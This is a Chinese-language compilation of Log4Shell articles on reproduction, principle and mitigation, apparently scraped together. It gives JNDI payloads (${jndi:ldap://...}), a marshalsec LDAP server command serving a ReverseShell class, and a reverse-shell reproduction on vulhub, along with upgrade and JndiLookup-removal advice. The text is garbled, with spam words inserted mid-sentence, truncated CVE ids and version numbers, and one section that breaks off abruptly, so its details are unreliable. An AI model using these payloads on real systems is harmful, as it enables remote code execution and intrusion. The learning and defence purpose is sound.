1.log4j2远程代码执行漏洞本地复现
2.APACHE LOG4J反序列化与SQL注入漏洞(CVE-2022-23302/CVE-2022-23305/CVE-2022-23307)通告
3.log4j2原理分析及漏洞复现
4.log4j安全漏洞是漏洞漏洞什么?有人科普一下吗?
5.深入分析Log4j 漏洞
6.log4j 远程命令执行漏洞原理及修复方案
log4j2远程代码执行漏洞本地复现
本文仅供学习参考,请勿在真实环境进行网络攻击行为。源码
一、漏洞漏洞背景
Log4j 2 是源码 Java 中应用非常广泛的一个日志框架,在 年底,漏洞漏洞一个名为 CVE--(也称为 Log4Shell)的源码6.4ce源码严重漏洞被发现,该漏洞被CVSS评为分最高级别。漏洞漏洞网络攻击者利用这个漏洞不需要服务器密码就可以访问并操作服务器,源码攻击方式非常简单,漏洞漏洞技术门槛低,源码危害极大。漏洞漏洞受影响版本:Apache log4j2 2.0 - 2..1 下面先简单看一下攻击原理,源码然后直接开始操作。漏洞漏洞
二、源码攻击原理
假设现在有个网站,漏洞漏洞当用户登录时,正常请求路径如下:
如果应用服务端的登录接口中使用漏洞版本的log4j2打印请求参数的日志,就有可能被注入。如图所示:
三、复现步骤
以下代码已放在github仓库:log4j漏洞复现代码
1. jdk版本
作者使用jdk1.8.0_和1.8.0_复现成功,溯源码陈皮1.8.0_复现失败。
JDK 6u、7u、8u之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
使用1.8.0_的情况下,将trustURLCodebase属性设置为true也没复现成功,原因暂未深究。
2. 模拟被攻击的应用服务器
写一个springboot项目,模拟被攻击的应用服务端登录接口,接口中打印了userName参数日志,启动此项目。端口为。访问地址为 .0.0.1:/login
3. 编写恶意代码
写一个在应用服务端执行的恶意代码,这里用删除一个服务器文件做演示,实际上可以使用反弹shell等做更多有害操作。编译这个类,刷点券源码生成class文件。
4. 启动}这样的攻击字符串,最初,攻击者只需在搜索引擎输入或在URL中添加此类代码即可得逞。幸运的是,随着安全意识的提高和快速响应,目前大部分网站已成功修复。
要检测是否存在漏洞,可以借助DNSLog.cn提供的工具,通过自动生成的子域名进行测试。如果服务器被感染,它会尝试连接并解析xxx.dnslog.cn,检测结果会在网站上显示。然而,由于服务器的缓存机制,初次成功后可能需要一段时间才能再次进行检测。
此次漏洞影响了log4j 2.0-2..1版本,但幸运的是,log4j 2..0-RC2版本已经修复了这个问题。资料源码领取漏洞的核心是攻击者通过构造恶意代码在服务器上执行shell命令。验证漏洞的常见方法是搭建Maven项目和web服务,然后在URL中附带攻击字符串进行探测。
面对漏洞,企业需要采取紧急措施以降低风险。首先,强烈建议升级到最新版本log4j 2..0.RC2。其次,企业可以配置Web应用防火墙(WAF),通过正则表达式等技术阻止恶意输入。同时,考虑禁用lookup功能(log4j2.formatMsgNoLookups = true),尽管这可能对低于2.的版本带来影响,且需注意MESSAGEPATTERNDISABLE_LOOKUPS的正确配置。
另外,一种可行的解决方案是禁用JndiLookup类,以阻止jndi解析器的活动。这可以通过删除log4j-core.jar中的JndiLookup.class,需要研发团队的系统源码运行配合,或者利用Java Instrument技术,修改JVM启动时的javaagent,强制JndiLookup.lookup()返回空,这种方法成本较低,适用于所有log4j版本和框架。
一个更安全的选择是转向log4j-to-slf4j,通过引入相关jar包,自动将log4j的日志转换为SLF4J格式,从而避免漏洞。在log4j的LogManager加载SLF4JProvider时,如果未引入logback,日志将无法显示。一旦引入logback,便可以放心使用它来记录日志。
尽管存在反射修改Interpolator的strLookupMap以移除JndiLookup实例的尝试,但这种方法因log4j版本差异而可能增加修复难度,因此并不推荐。对于更详细的实施步骤和示例,可以参考luckzj/log4j-agent和log4j-to-slf4j的官方文档。
在这个危机时刻,快速响应和正确的安全措施是关键,让我们共同努力,确保系统的安全,防止类似的攻击再次发生。
Log4j漏洞深度回顾系列之一:攻击背景
去年底今年初,开源日志记录工具Apache Log4j被曝出严重远程代码执行漏洞。攻击者通过恶意构造请求,触发了远程代码执行,引起广泛关注。经过数月,相关热度逐渐消退,本文将全面总结回顾Log4j漏洞的整个过程,并吸取教训,避免类似问题的再次发生。
Log4j是Java社区中广泛使用的日志库工具,为开发者提供了强大且简单易用的日志记录框架。它支持日志输出至多个目标,包括控制台、文件、远程TCP服务器、Syslog、NT Event Log以及电子邮件,还支持对日志内容的分层过滤。由于其强大的功能和便利性,Log4j在各种应用中被广泛应用。
Log4j的查找(Lookup)功能允许开发者将变量或表达式嵌入日志输出之前自动评估的文本中。这使得开发者可以轻松地将动态信息,如日期或环境变量,添加到日志中,而无需手工编写代码。然而,这一功能也为攻击者提供了可乘之机。
JNDI(Java Naming and Directory Interface)是Java开发和运行环境中的机制,通过通用接口查询目录服务中的信息。攻击者可以利用Log4j的JNDI查找功能,通过日志文本中的表达式访问JNDI子系统,进而查询目录服务,甚至执行远程代码。
Log4j的漏洞源于其查找、嵌套和JNDI功能的广泛使用。虽然这些功能为开发者带来了便利,但也为攻击者提供了潜在的利用点。通过恶意构造请求,攻击者可以触发远程代码执行,泄露数据或执行恶意操作。
了解这些背景信息后,我们能够更深入地理解Log4j漏洞及其攻击方式。在接下来的文章中,我们将探讨攻击者是如何利用该漏洞窃取数据并执行远程代码的详细分析。此外,还将关注互联网安全的最新趋势和动态,敬请关注。
Log4J2漏洞原理详解及复现
Log4J2漏洞原理深度解析及实战复现
环境搭建 首先,我们基于vulhub环境进行搭建,通过命令行启动容器:docker-compose up -d。确认服务运行良好后,访问端口,检查是否成功连接。 漏洞原理深入剖析 Apache Log4j2作为开源日志管理库,为Java应用程序提供强大日志功能。它允许使用logger.info("{ }", input)格式化参数,但当输入为${ java:version}时,它会解析并返回实际的Java版本,这就存在潜在的安全风险。当用户可控的输入包含${ jndi:rmi://}或${ jndi:ldap://}时,可能会触发JNDI注入漏洞,允许远程加载恶意类并执行代码。 有关JNDI注入的详细讲解,可以参考Fastjson复现篇中的相关描述,这里我们选择使用LDAP作为示例。 漏洞复现实战 漏洞位于/admin/cores接口,通过调整action参数进行探测。初始尝试payload为${ jndi:ldap://${ java:version}.},如果返回的是Java版本,就证实了漏洞的存在和可利用性。 远程加载与反弹shell 为了进一步复现,我们可以使用marshalsec工具开启LDAP服务,如:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://ip/#ReverseShell' 。Kali Linux作为监听端,接收来自${ jndi:ldap://ip:/ReverseShell}的payload,成功触发反弹shell攻击。 安全防范与升级 为了防止此类漏洞,建议尽快将Log4j2升级至2..0-rc1或更高版本,同时在配置中禁用或过滤掉对敏感字符串如jndi、rmi、ldap等的解析。记得在每个项目中及时更新并实施安全策略,确保系统的安全防护。